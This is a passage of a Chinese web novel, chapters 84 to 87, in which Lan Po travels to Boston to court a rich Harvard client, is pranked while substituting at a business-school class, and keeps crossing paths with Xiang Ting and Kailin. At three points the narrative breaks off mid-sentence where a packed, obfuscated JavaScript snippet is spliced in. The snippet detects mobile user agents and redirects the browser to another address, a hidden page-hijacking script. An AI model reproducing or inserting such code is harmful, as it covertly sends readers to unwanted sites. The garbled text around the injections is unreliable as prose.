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“嗯,”蓝珀动机很单纯,他正准备离开高盛自己组私募基金,“哈佛有个大款,想找我托管。” “哦,这是大好事吧!” “是吧?”蓝珀没什么底气地说,“要他开户大概挺难。像他这样的客户早就被其他期货公司做足了功课瓜分了权益,我想的倒不是他的分仓,看看他有没有兴趣一起合作弄点资金加入我的私募计划。” “是哈佛的教授吗?还是什么老总?” “我呢,现在一无所知。不过,”蓝珀说着把杯中剩下的酒都喝了,莫名就像湖面被划开了一道波,荡漾进心里,“明天一去便知了。” 84. 了不起的盖茨比 次日上午,何崇玉来接人。 蓝珀要弄完大扫除再走。下山以后,他在家里静修。天天搞家务、练书法、读书、打坐、喝茶、禅舞,掰蘑菇去蒂解压,通过擦玻璃发现自性,失眠听佛经,大半年以来都是耳机线勒着脖子醒来的。家即道场,气随念转都是觉,观到妄念无不空。 何崇玉问:“那你今天还干了什么?” 蓝珀答:“我花很长时间洗头梳头还有就是描眉画眼的。” “你忙你的,我先坐会儿。”不一会儿,何崇玉就在沙发上睡着了。 醒来只见儿子也在擦玻璃。270°全息环幕瞰江大宅,近8米的挑高全落地窗,蓝珀擦得腰要断了,小孩的身高就正正好,小孩好像还是主动的。他还帮忙收拢折叠椅,倒空烟灰缸。 蓝珀就很欣赏:“你这儿子你看他行住坐卧好像有三分痴呆,但是他内心不呆。” 何崇玉倒没明说过儿子呆,只淡淡感觉儿子干巴无聊又苦相:“还不呆啊,带他去海钓,身上叮满了蚊子他也不打。” 蓝珀奇道:“打它干什么?结个缘嘛。” 何崇玉:“也是?” 蓝珀又道:“这就叫装三分痴呆防死,留七分正经谋生。” 下午一点才出发。到了车库,何崇玉突然想起来:“今天是周六,你不用去医院吗?” 蓝珀插上车钥匙:“那么大人死不了。” 何崇玉忧心道:“可别再发生什么外交上的不愉快。” 何止是一点不愉快,英王子挨锤当天,英王室对美当局说出了许多无法挽回的不客气话,勿谓言之不预。一个美国平民高中生赤手空拳三招五势就对英国王子殿下造成了贯穿伤,丑闻震惊世界。女王致电白宫,白宫转瓦克恩,瓦克恩转蓝珀,蓝珀说责任在我。美国国防部、国家安全局、联邦调查局层层监听的这通载入史册的电话,在蓝珀一句my bad之后,陷入集体掉线一般的沉默,两个大国的内阁同步形成静止。最后英方既没增派战略轰炸机,亦没要求割地赔款,唯有一个条件:请蓝珀定时去看看费曼。蓝珀听了问,那遗体需要运送回国吗? 按照协议,蓝珀每周得去一次。但他完全按照字面意思履约,看看真的就是see see,到了门口打上卡就走,果篮都没送过一盆,何况陪护了。其实即便隔着玻璃,也能看清楚费曼的那双眼睛有多么地蓝。何崇玉听说了很不忍,提起费曼时的口气就像是面对一个马上就要哭鼻子的小孩。心里觉得费曼没有做错什么,一切只是身不由己,愿他来生不在帝王家。蓝珀却渲染那个病房非常幽深,有着产道一般的走廊,他靠近都心慌、发汗,吹来一把没由来的阴风。何崇玉顿时又十分心疼起蓝珀来了。 所有人的生活都回到了正轨时,只有瓦克恩家族永夜地生活在月之暗面。女王越是宽容体下,瓦克恩越觉得秋后有账要算,死神的治下只有一个规矩那就是叫号必须得到。反正就不需要用力,弹指即灭。于是瓦克恩在自己家里吃饭时像仓鼠,吃着吃着突然停机几秒然后继续咀嚼,看那个汉堡牙签跟个暗器一样,洗澡时看那地上的水渍就像毒蛇慢慢靠近。凯林更是被判无期徒刑,瓦克恩怕他一出家门就有说有笑地踏上了不归路。凯林出不了门见不了人只能在地下室里丑陋地活着,包含着愤怒和疯狂,带着声声的咆哮。一晚两人同时起夜,隔着被猫抓成一条条一缕缕的窗帘,父子发懵地对峙一阵。此夜后瓦宅安保费猛翻十番,蓝珀有回来坐客,说了句谁家这么多机关,怕不是住墓里的?瓦克恩已被王权深深规训,不敢相视。 从纽约到波士顿自驾需要四五个小时,麻州又毗邻罗得岛州。刚刚上路,何崇玉就小心道:“顺道去一下布朗大学吧?” “爱去你去,”蓝珀脸都不转地说,“亏你说出这个无头无尾的话,你别三弯九绕的,我对这个小舅子已经仁至义尽了,没必要再见一面了。” 当日瓦克恩刚从大使馆保释出来,又惊闻招标会噩耗。翠贝卡一是报恩项廷,另一方面更是报复这个养父,报复他把自己变作操纵舆论的工具,把种族立场当成上升沉浮的砝码。翠贝卡被绑架了瓦克恩连赎金都不情愿交,因为随时能找到第二个身世显赫又听话的黑人孤儿。既然瓦克恩是一个很会造势和立人设的人,十分懂得怎么去营销自己,怎么去借势推广,怎么让自己站在风口浪尖上,那翠贝卡就让他被自己掀起来的浪头给拍死!只管把事情闹大! 其实如果没有费曼这段插曲,瓦克恩若是在场,必有办法泰然自若地应付过去,必不可能催生出大家都无法接受的结局。可他一则不在,听说时已经错过了公关的黄金窗口期;二则英美之间那通电话过后,蓝珀有几碗水,明眼人都看得出来,瓦克恩安敢再犯蓝珀天颜?尤记费曼亦倾向北京。高端的商战往往不需要任何技巧,于是就这么一个一文不名十八岁少年鲤鱼打挺的结尾,再逆天瓦克恩也只能认了。 数家电视台联合采访项廷,东亚人显小,他们那口吻还把他当小孩:“等你长大了,想做什么样的人?” 项廷回答:“我会拥有我现在所没有的一切。” 然后听项青云说,项廷去布朗大学念商科了。就这,还是二手消息。项青云自己也在美西,半年没回过家,蓝珀就再没听到项家姐弟的任何消息。 一直旁观的何崇玉,旁观不下去了。想好友一生孤苦,现在虽总说自己有佛祖收留,何崇玉却看到生机逐渐从他的身体抽离,蓝珀整个人的架子颓然而谢。 家庭是最温暖的港湾,这是不消说的。于是何崇玉劝说:“晚上我们请项廷吃个便饭就什么事都没有了。” “他不找我我去找他,这事有点寒酸吧?”蓝珀把自己说笑了,“这都不生气,是多没所谓?” 何崇玉说:“家里人嘛,就算是误会也是缘分。” 蓝珀笑道:“你是心软的也好,心热的,也好,那都是你的行动自由。” 何崇玉是观摩过他俩吵架的,那就像小狗见了小猫似的吵架,便说:“你跟小孩子生气不是找气受吗?我看项廷也是斯文讲理的,是个专注家庭过日子的人……” 咻!车子急刹车,惯性力量下何崇玉整个上半身撞到了中控台。 天啊!突然爆胎蓝珀还打急转不是找死吗? 蓝珀不知何时眼睛都红了:“你小心死后下拔舌地狱!” “好好好,我说话不留神你可别往心里去……” 劫后余生,何崇玉忙朝后座望,儿子正翻到下一页的数独游戏。 何崇玉急忙下了车,车都下了,不换个胎似乎过意不去。辨别螺栓螺母的时候,忽闻儿子言:“搭把手。” 胎很快换好了,父子俩回到车上,蓝珀夹着烟的手搭在窗边。 何崇玉晓得他气性很高,好一会,才敢说:“想什么呢?” “没有想事,就是看看,”蓝珀扑朔迷离地说,“又是一年春风。” “你适合演林黛玉,动不动就哭很忧郁。”何崇玉一不小心说出心里话,猛然害怕蓝珀的枪口又调到自己这里了。头皮一阵刺痒,生硬地转移话题:“累的话我们就别去了,回去吧?说真的,不去医院真的没问题吗?英国女王的话还是得重视一下吧?” “哪个英国女王?”蓝珀把烟狠狠碾灭,“玉皇大帝来了,也要依我三件事!” “哪三件?” “我要项廷死!我要他死!” 何崇玉想问还有一件呢,没有问,怕蓝珀是要自己死。决定昧着良心,先顺着他说:“唉,他也是不知高低了,冇大冇细。” “你这话有点没茬找茬啊?”蓝珀掉过脸来。 “……” 重新出发前,蓝珀忽然说:“我好想扇他!” 这心态开车能不车祸吗,前面就是乔治·华盛顿悬索大桥,在众多好莱坞大片中动辄被毁灭。何崇玉忙说:“我开一会吧!” 换到副驾驶上,蓝珀更有空聊天了:“我生气了你知道为什么吗?” “……知道一点?” 上山面壁几个月,蓝珀看来是把自己琢磨得很明白:“我就不该长一双漏财的手,就该让他在哪犄角旮旯去谋什么下九流的生计!我现在像个没庙的佛爷,人家鱼跳龙门一飞冲天了,眼珠朝着天,还会来记得回来上一炉好香?” 何崇玉听了,深感他的心态太不健康了。 蓝珀笑道:“古代的女人都知道,悔教夫婿觅封侯,封了侯他还是你的人? ” 一个乳臭未干的少年,一块未琢之玉,年纪轻轻的难道懂什么过河拆桥?太黑暗了。何崇玉严肃道:“你是贵人不假,但人家成功还是靠的自己。” “靠他自己的什么?” “八字比较硬?” “投机倒把有一套,做人操守没一点!时无英雄,竖子成名!” 何崇玉劝谏道:“蓝,你有时候有点小孩子脾气。” “我小孩子脾气,你才不是个东西呢!” 蓝珀说着说着,在愤愤不平中昏昏睡去。 车子驶入波士顿市内,何崇玉叫儿子准备下车了。 回头一看,才发现儿子压根没睡。蓝珀也早就醒了,消沉得没动静罢了。 何崇玉犹豫着要不要装没发现,正不想打破这静好,呼吸变成手动挡,儿子说前面停一下,他想买科学课上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398271|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要用的工具。 蓝珀头倚着窗,听罢有所悟:“一个小孩尚且知道忙些正事,我一个大人却镇日这么活着,我真不觉得有什么意思了。” 这话可万万使不得啊!何崇玉变色。 幸好蓝珀下面的话是比较积极入世的:“那个哈佛的大老板好像是广东人,你能教我几句广东话吗?” 何崇玉立马说:“冇问题,冇问题。” 三人下了车,进了五金店。小孩买东西几秒钟就结束了,何崇玉不知道他兜里哪来的钱,付款都没赶上,儿子就抱着半人高的帆布袋出来了。但是蓝珀逛东逛西,橱窗购物,光看不买。磨蹭劲又让何崇玉想起他老婆,老婆神威天下无朋,何崇玉于是更加唯唯诺诺。蓝珀说一句,他教一句。 “你好,雷猴?” “……hi。” “吃点什么?” “食啲咩咧?” 蓝珀咨询了一句他个人最实用的:“对不起,我迟到了。” “唔好意思迟左添。” “我真的很欣赏你,我想看看我们是否可以合得来。” “你都几啱我心意,我都想睇睇我哋是否可以佮得嚟。”何崇玉不住惊奇道,“没有见你这样子过啊,感觉你对这位客户特别重视?” 废话,下一个泡沫正在滚滚而来的时候,大街小巷都在讲现金为王的时候,十大私募尽皆轰然倒下横尸在了这个寒冬里的时候,居然还有人斥上千万资金委托投资?堪比1912年进宫当太监,45年当汉奸,49年入国军!傻子的钱不赚赚谁的钱? 蓝珀感叹:“拿下他我就养老了!我的梦想就是三十五岁退休,买很多银子,种很多枫树,如果可以我想就这样到老。” 然后他干劲十足地说:“我期望我们能够摒弃以年度排名前十或前二十作为私募基金的唯一评判标准;同时,也不再单纯以规模作为衡量私募基金公司价值的依据。我主张我们应当从短期的视角、关注点及发展空间中抽离,转而投向更为长远的规划。我衷心希望,我们这个行业能够蓬勃发展,其动力源自于基金经理及从业机构,基于对行业的热爱以及‘卖方尽责’的职业操守,秉持以终为始的原则,一个对‘唯快不破’顶礼膜拜的时代,致力于那些慢工出细活,极具长远价值的事业,尊敬的布鲁斯先生……” 一长串很难一次性翻译,而何崇玉只顾着问:“等一等,所以你的大客户是位先生?” “有什么问题?” “啊,”何崇玉情急道,“那你先学这一句:我都结婚生仔啦!” “?” 蓝珀着实陌生地看了他一会,语气亦很陌生:“你可是个规矩人,怎么也拿我寻开心呢?” 还不是上一趟山给闹的?何崇玉恍然觉得见过的世面还是太少了,这个世界果然存在太多他不知道的江湖。那些师兄弟有的就像冷宫疯掉的妃子,说蓝珀把他们捂热就丢掉。有的始终宠遇平平就说很猥亵的话,什么有妇之夫又是刚当爹,正是最鲜嫩的时候,最如狼似虎的年纪啊,一到了夜晚岂不心同火烧,你能从他身上隐约闻到那种甜兮兮的腐烂气味,就是那股子熟成的风情让人流连忘返,此等尤物谁人享用?何崇玉哪敢详其究竟,但想了想,要做一个诤友,故有此提醒。 蓝珀冷笑道:“那些煽风点火的话你还是少听吧。” 见好就收,何崇玉忙说:“吃饭吧,先吃饭。” 纽伯里街绿树成荫,两旁楼房都采用了19世纪的红砖石砌设计,那个时代特有的半地下空间开起了小店。很多餐馆在人行道上设了露天座位,俨然一派欧洲风情。 可蓝珀除了恶心已经没有别的感觉:“你自己吃吧。” 何崇玉疾呼儿子,儿子走在遥远的前面,说路上吃过了,吃的蓝珀自制的午餐盒。百慕大三角做得像宠物冻干,食用的时候需要复水,水杯里的青芒果条像土笋冻的那个虫一样。 儿子说:“还有一盒。” 何崇玉不闻,恳求:“走吧走吧,我请客。” 蓝珀冷冷道:“谁请我都不去。” 何崇玉努力挽回:“我……” 蓝珀一个字不听:“别看我,看路。” 两人大街上杵着,蓝珀但凡露半张脸那曝光度可不是一般。维也纳金色大厅毫不怯场的何崇玉,私底下多于三个人就不舒服,他一焦虑就爱说实话:“那项廷请呢?说实话,我觉得你放不下。” 蓝珀当场气得发抖,影子都晃个不停,广场上的鸽子全飞了。 正在这时,短信来了。对岸幽暗又神秘的绿灯闪了几闪,那位一掷巨万的哈佛富豪,邀请蓝珀共进晚餐。 85. 妾貌不如夫去时 蓝珀为之一振,飞快地回复道:“太好了,我一直想拜会你。那么,7点钟见。” 收起手机,他通身愉快地对何崇玉说:“车我开走了,你们先回酒店吧。” 何崇玉牵着儿子,点点头:“我懂,你干的是大事业。” 正要各走各的,蓝珀的声调忽然高起八度,对着后视镜摸着自己的脸,问道:“我是不是太白了?一看就知道今年夏天没去海边度假,一眼看过去就有点忧郁星期四,黑色星期五的感觉,总之让客户第一印象赚不到钱?” 何崇玉局促地思考了一下,悟到言多必失,不愿直视。蓝珀狠狠地看了他一眼,因为他的沉默,信心大失。 “看啊,我的抬头纹不是一点点。”蓝珀那种庄严中又带有落寞的表情,犹令人回味。 脖子转一转,批判性更强:“我都有富贵包了,想挺直脖子脸上肉就会被推起来。” 现在是五点钟,还有两个小时补救。一个小时碳粉激光、柔肤镭射、人工日光浴,另一个小时商场血拼。 何崇玉稀里糊涂就陪了前半程,但是后半程他一进商城,刚刚五分钟就大脑发胀,异常地烦躁和沮丧,撒谎有公事要去处理。 蓝珀小麦色的脸庞,泛着盖亚之光,和煦地笑道:“有什么事非要今天去处理,好不容易找你当一次参谋还去忙其他事,到底什么事这么重要?” 何崇玉不打诳语,只能无语。 蓝珀又说:“拿这么低级的话来敷衍,我的大钢琴家,连贝多芬也没有你这样的架子,陪陪我一定不会毁了你的清誉。” 何崇玉心虚出汗,哪怕左右腿渐渐变得不是一个身体,也没再要求离开了。 于是他一次接着一次接受到了来自逛街的恶意,一条领带蓝珀都会货比三家。何崇玉说:“其实按我们的家庭条件是不用这样的。” 可是蓝珀本就不买,有时单纯进去鄙视一下哪家的设计品味。何崇玉心里再三致意,终于说出口:“有家庭的人了,就不用这么注重外在了吧?” 蓝珀在镜子前咕叨的声音突然像被掐住似的停了,在导购的包围下,他慢慢地转回身来,俯视着沙发凳上的何崇玉,逻辑不明地提出几个连续性问题:“难道你就没有结婚,就没有生子?你难道真就没有父亲母亲?找不到一个上人能孝顺一把了吗?” 何崇玉说:“到了我们这个年纪,你肯定也明白,青春根本不需要打扮,就已经很耀眼了。但这笔青春只有一次机会,用了就是用了。什么东西,都求个量力而行。” 蓝珀的脸霎时间黑里透着白,竟然将门反锁上,坐在更衣室的椅子上木木地发呆,说:“我是半截入土了,没有本钱,也没有条件,比不得那些个大学生青春靓丽,势头正猛,哪儿来了个翩翩少女,也只能心有余而力不足地摇摇头了。人家往那一站,两好凑一好了,年纪相若的怎么看都是金童玉女。” 何崇玉我、我、你你了两声,打住了。他习惯了蓝珀爱之欲其生恶之欲其死的个性,没历经几十世的爱恨轮回是演不出蓝珀的那种疯劲的,但是隐隐感觉这一年来,蓝珀仇恨的转嫁越来越容易了,小事化大,大事化炸,怨气冲天不得了。偶尔反击两句,更是被他打击得惨不忍睹。这口条太羡慕了。 而且蓝珀尤其介意别人触及他的年龄,一个男子的年龄好像是什么绝密的东西,他原比别人有些体面,以前从不这样的。这个情况令何崇玉很吃惊,这种人格是怎么突然形成的呢? 生老病死还是要坦然面对,你的本色真的很美,实在不知道怎么开口才能把这个意见很自然地引导出来。思索了会儿,何崇玉先对儿子说:“你到哪里回避一下吧。” 然后跟蓝珀说:“我的意思是,儒家主张,君子不器。” “香港何氏的大少爷原来是孔子?”蓝珀从更衣室出来。 “别说这个,你还不了解我,最怕什么头衔缠身。” “你爸知道你是孔子吗?”蓝珀边搅着杯里的茶边抬头直视着他说,特别惊疑的样子。 “我不是儒教的,但对孔子有很高的敬意。” “那我就是道家,我是老子,”蓝珀甩手就走,“‘民至老死不相往来 ’!” 出了商业街,蓝珀捂着冻红的耳朵,何崇玉靠近就报警。 “我想散散步,你要着急你先走!”蓝珀说。 何崇玉追了两条巷子,两人回到车上时,蓝珀也没继续闹意见,总算放下了屠刀。换作老婆,估计又要给他上政治课了,不把他拿下马是誓不罢休了。所以这个朋友何崇玉不知道对他说什么好,总能让他产生一丝的感动。想想怎么安慰他,可一个人遭受到衰老这样的事情,任何安慰的话都是白搭。真不该看不起他的年龄焦虑,因为能说出自己脆弱的人很坚强。 何崇玉讲了好几个古董冷笑话,试着打破沉闷,蓝珀鼻子里只是轻轻嗯了一下。何崇玉看他脖子微微发了点汗,头身色号已是大不一样,脸颊透出许许的荷花粉,但是觉得他的热情很高又不便打击,一路无言,彻底边缘化地到了约定的餐厅。 “你回去吧,”分开之前,蓝珀缓和了一下气氛,因为也理解对方经常说不吉利,又似乎含带好意的话,给人一种没有功劳也有苦劳的感觉,“回去别说我欺负你了。” 蓝珀停好了车,身影消失在餐厅的入口。 何崇玉带着儿子过马路,一队大摩托开着刺眼的爆闪灯,飙车炸街,互相竞逐。 轰鸣的狂风连连掀翻数个路人,路人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398272|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门牙做一个滑铲。 一辆越野突然闯出,摩托纷纷被挤上防护栏,闸杆变形,如此逼停。 越野车主下了车,按着这帮不良少年的莫西干头,回去找路人挨个道歉。 好悬,腰子差点没给撞掉了!儿子把何崇玉搀起来时,何崇玉头顶一黑。 光看那阴影的面积,就知道这是个基因特别超群的年轻人。 波士顿漫天的霞彩暮光之下,他却如凭彻朗朗晨风,湛湛青空,庞庞白云。 “项廷?” 从天而降似的出现了,把何崇玉惊倒。 “没事吧?”项廷一边监督着摩托车手们,一边问道。 “没事没事!应该只是一点擦伤。”何崇玉持续惊呆。 犹记得上一回见到项廷,感受尚未如此深刻,项廷那会儿尚不是一个被交口夸赞的大帅哥,男大也十八变吗?路人被他救了,仿佛这点惊险,也只当是传奇精彩了。 何崇玉真不敢认了。 儿子忽说:“酷。” 不知道指的是项廷行侠仗义的行为,还是停在他们身侧的那辆低调的总统座驾。何崇玉不食人间烟火,但不代表他不认得真正无价的东西,那是那种有缘人见了能坐地起价的车。脸上又打出一个重重的惊叹号,这有点狠了! 项廷说:“朋友的。” “哦哦,”何崇玉回过神来,“你也来附近吃饭吗?你不是在布朗上学?” 项廷说:“我路过。” 何崇玉顿觉天地宽,很是高兴道:“太巧了,多么好!你姐夫来这儿谈生意,你找他好好聊聊啊,知过则已就是改过一半了。他也是一个开化的家长,不做那种霸道的事,我就知道这里面应该有缘故……” 还要操心、关爱晚辈,何崇玉说着说着没底气了,突然变得不敢逾矩,无由来被堵得哑口无言,为什么会觉得在一个大男孩面前已经完全说不上话了呢? 那伙车手趁项廷不注意,正要蹑手蹑脚地溜走。项廷一个眼神过去,他们就毫无还手之力,那是何崇玉透过余光都能感觉到的压强。小流氓们被训得老老实实,主动排队找交警认领罚单。 于是何崇玉原来想的那些劝和的理由一个都没有用上,便与项廷匆匆别过了。想要把偶遇的事告诉蓝珀,又觉得他大抵在忙,且不去惊动他。 不知蓝珀这会儿已经等了足足五分钟了。他还是头一回等人。 放在往常,他想甩脸就甩脸给你看,现在盯着手机上的那行“一点意外,马上就到”,眼皮望上撩了又撩,只能闷闷地气了个半死。 手慢慢给杯中红酒升着温,丹宁袅袅,仿佛骚雅之士。而心想着,你这个男的,你敢让我等,那你可真是全世界最有种的男人。 86. 日日思君不见君 迟了这五分钟,就错过了。 餐前面包都上了,餐刀是交叉摆放着的,座位却空荡荡。看来蓝珀走得特别急。 手机叮一声响,蓝珀的短信来了:“不好意思,下次再约!” 蓝珀车子开到150码,来不及解释了。 哈佛商学院的邱奇教授联系他,听说蓝珀正在波士顿,请他帮忙代一节管理经济学的晚课。 “我的水平给MBA上课吗,我怕学生都要跑光了吧?” “放轻松,只是一节个案研究课。” “而且我正在忙……” “我老婆要生了!” 邱奇教授是蓝珀的前上司、老朋友、大客户,圈子里的泰山北斗,他的说辞又实在无懈可击。 被放了鸽子,布鲁斯先生却体谅地回复:“你路上小心,天冷路滑,别开快车。” 踩着点下了车,哈佛没有围墙,但是校门有好几个。 一进门是哲学系的地标艾默生楼,深红色砖砌的三层楼,古朴的木窗雅意盎然,青翠的常春藤爬满墙壁,棕色的枝干宛如瀑布般垂落,是栋很有韵味的建筑。但是周遭被一群抗议的学生包围着,高举标语,声震遐迩,老远就可以听到,气势绝不下于古代罗马的议事厅。 蓝珀无暇顾及,小跑着登上积满细雪的查理士桥,疾步往商学院赶。哈佛商学院位于查理士河南岸,与校本部一河之隔。河的对岸眺望过去是一系列富丽堂皇的建筑,几栋钟楼敷上金粉,半天朱霞、火红的落日之下耀眼夺目。这便是美国资本主义的西点军校。 按图索骥,找到了教室。只见原本只能容纳八九十人的阶梯教室,一下子塞了近两百人。这人山人海的磅礴气势甚至惊动了校园警察,还专门另开了一间教室分流部分同学,可是没人愿意去。 蓝珀冰冷的耳朵突然接触到室内的暖气,又痒又痛。刚刚站到讲台上,接过教学秘书递来的讲义,正要老实自白邱奇教授因故无法亲临授课,解释纯属救人之急,并道明一下自己的身份时,一阵下课铃就响了。 蓝珀愣了愣,还没来得及搞清楚,学生们就一个接一个装模作样地收拾书包。蓝珀尴尬地喊:“大家等一下!” 闹钟每隔五分钟就发出怪音,不妨碍蓝珀开始上课。学生们又不约而同地咳嗽起来——只要蓝珀讲到一个关键词,比如“生产函数”或“价格弹性”,立刻有几个人假装大声咳嗽,搞得他总是要停下来,以为自己讲错了什么。 “这是流感季吗?”蓝珀眉头不禁皱得紧了一些。课堂上窃笑声不断。 蓝珀来了好几个憋闷的深呼吸。忍到中场,转身写板书,“噗噗噗”几下柠檬水枪射到了他的后背上。伸手去拿黑板擦,摸了一手的奶油。电脑突然播放某种激烈的进行曲,那几个带头的学生和着音乐跳起了舞!顷刻间整个班变成了盛大的派对,同学们纷纷欢呼着起身,跑到前排一起狂欢。 真正的下课铃终于响了,蓝珀布置完阅读作业,风度翩翩付诸一笑,与同学们说再见。 蓝珀冲刺到洗手间,表情就像一个外科医生准备手术。 邱奇教授的慰问电话来了:“怎么样?” “好问题,问得好。” “没事吧?” “还没但快了。” 邱奇这才说出原委。原来哲学楼前那帮闹事的学生,主要攻讦的对象就是邱奇。哈佛是私立学校,必须依靠投资股票才能生存下来,邱奇投资了不少钱在南非的股票上面。但从这些纯洁又自认是正义化身的学生看来,买南非股票就等于支持南非政权去压迫有色人种,掀起了海啸般的争议,于是发起全校罢课的示威运动。校董觉得他们持之有故,言之成理,掉头竟也不管。邱奇就成了过街老鼠,那一天天的糟心事儿多了去了,学生的霸权太太太可怕了。奈何课又不能停。晚餐时候,收到死亡威胁的邱奇,性命攸关的至暗时刻,想起了客居波士顿的蓝珀。 邱奇说:“我得去摩洛哥度假,课程还剩下一半,你能帮我把这半学期撑过去吗?” “谢谢你又让我笑了一遍。”蓝珀皮笑肉不笑了一阵。 邱奇说:“我作为在资本市场滚爬近三十年、历经多次牛熊考验的老手,你其实清楚我的投资风格。过去电子商务我会错过,因为我绝对看不懂。环保产业我永远都不会买,拿梦想忽悠我的企业都不会买,因为看不到其财务报表的稳定性。新能源的机会我会放弃,补贴很高的行业受政策的影响比较大,而政策是很难去研究判断的。这其中或许有一些个股会脱颖而出,但坑也很多。很多人擅长选黑马、偏短线的操作,那是我的盲区。资本市场,看似遍地黄金,实则处处陷阱。投资最难的是保持一份清醒,有所为有所不为。” 然后邱奇极其郑重地说:“但是等我从摩洛哥回来以后,只要你说一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398273|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个盈利方向,我会闭着眼睛毫不犹豫跟上。” 面对对方的变相拍马屁变相塞红包,蓝珀似乎淡然:“多简单的事,何必搞得醉翁之意不在酒?别那么高深,也别那么矜持,不就是一起发财吗?” 邱奇小心道:“那我的课……” 蓝珀情不自禁地笑出来了:“这算什么,小意思。你就把心放到肚子里吧。” 邱奇感激涕零,又嘱咐了蓝珀一些注意事项。比如家门口原装未拆的箱子绝对不要拆,校宣传栏上那么一整张算是大字报了的谨记眼不见心不烦,如果有女学生邀请他去家里补课千万不要去,诸如此类。 蓝珀不以为然:“我呢,出了名的要钱不要命。就算成为祭旗的牺牲品,也算与有荣焉了。” 蓝珀只关心该占的便宜一定要占够,当场推荐了几只优秀的个股,一口讲了个天价:“贼不走空,反正你得让我出出血。” 一边洗手一边声音低柔地说道:“空口无凭是什么意思你不懂呀?跟你明说了吧,与其让我相信你说的话,不如让我相信你在白纸上写的黑字。这些股票就像保证金一样,别只在嘴上说爱我,拿出点诚意来。” 邱奇笑道:“这就算上账了?” 蓝珀:“生意人不算经济账算什么账?算感情账?咱们算得清楚吗?想一想吧。” 邱奇转移话题:“你不是正在谈另一笔大生意吗?那位布鲁斯先生?” “那些雇主大多在一番非常投机的交谈后,不明不白地杳无音信了。”蓝珀不屑地背后说起人来,“他不重要。” 话音刚落,只听洗手间外轰隆一声。像是谁在那儿偷听许久,突然激动,碰倒了什么东西。 慢慢走近。蓝珀的心,莫可名状地抽抽的,他眼下的巨大直觉绝不是可以用理性来推证的:“项廷?” 这个臭小子,钱钱挣不着官官当不大,没啥本事还爱跟他臭来劲! 说出来他本人也被惊到了。明知项廷人在布朗大学,尾随到这儿压根不可能。自己也太疑神疑鬼了,年纪大了,精神上返老还童了?其实不知道项廷什么时候会不定期骚扰。那他和他还有戏吗?实在不敢想。想得越多,心里就像沙子越往上垒越容易垮塌一样。 可电话没挂蓝珀就进入了角色,单手叉着腰,另一只手垂着像执着一条教鞭,外人看来真有点神经兮兮地说:“项廷,下课后来我办公室一趟!” 87. 前人失脚滑后人 “蓝……” 那声音雄武沙哑之中带着一点肾虚,凯林如同地里窜出的金光大泥鳅。 蓝珀的期待落空,吓了一跳的同时也窘了个大的,不敢想刚才说的梦话被凯林听去了没有。 凯林这会儿脑子晕晕的,想不明白老师将会怎样在办公室玩他。蓝老师,他擦手的动作好像缚绳。凯林张大了嘴,一个音节都发不出来。 “你怎么在这?”蓝珀狐疑地斜眼看着他,随口一问。并没有想知道的意思,擦干了手便往外走。 “我,我爸让我来旁听的!”凯林对着已经走到门口的蓝珀大叫,“厕所你别上!” 这八成也是整蛊的一环,马桶盖下面套了一层透明的保鲜膜,一坐下去,后果自行体会。 好似知情人士的口吻。蓝珀有了几分另眼相看,停在走廊上等他:“你们可是给我开了个好头啊,够有雅兴的。” 快一年不见,凯林还是那么狗屁不通:“你别哭啊!” 所谓的哭,可能指的是凯林坐在倒数一排,眼见着蓝珀被柠檬水呛得咳嗽的样子。想象补全了视力,觉得一帧帧地看见蓝珀布灵布灵眼睛蓄泪的过程,他的眨眼很突然,眼皮一下就落下来,他的睫毛又是那么长,真恨自己不能像前排的男同学一样给扇感冒了。 蓝珀看他憨头憨脑的,几分鄙薄几分同情地问:“眼泪是没有,口水要不要?” 再聊下去恐怕智力下降,蓝珀转身要走。 凯林急得走出八字脚,外形有点像□□,更神志不清的话摇摇晃晃地来了:“蓝,我爱你!” “你有事吗?” “没、没事!” “那不要动,没什么事就不要动了。” 一个走在前面,一个追在后面。蓝珀驱车离开哈佛的时候,凯林的双腿发软,腿盖骨似乎都跑歪了。 太阳落下山脊,凯林迷失在弥漫着浓雾、飘落着灰尘的大街上。忽而身边坐了个人,凯林低着头恼怒道:“一边去!……啊老大!您坐!您坐!” 听墙角的是项廷,临场抓过凯林让他去提醒蓝珀校园里的种种机关陷阱的,也是项廷。 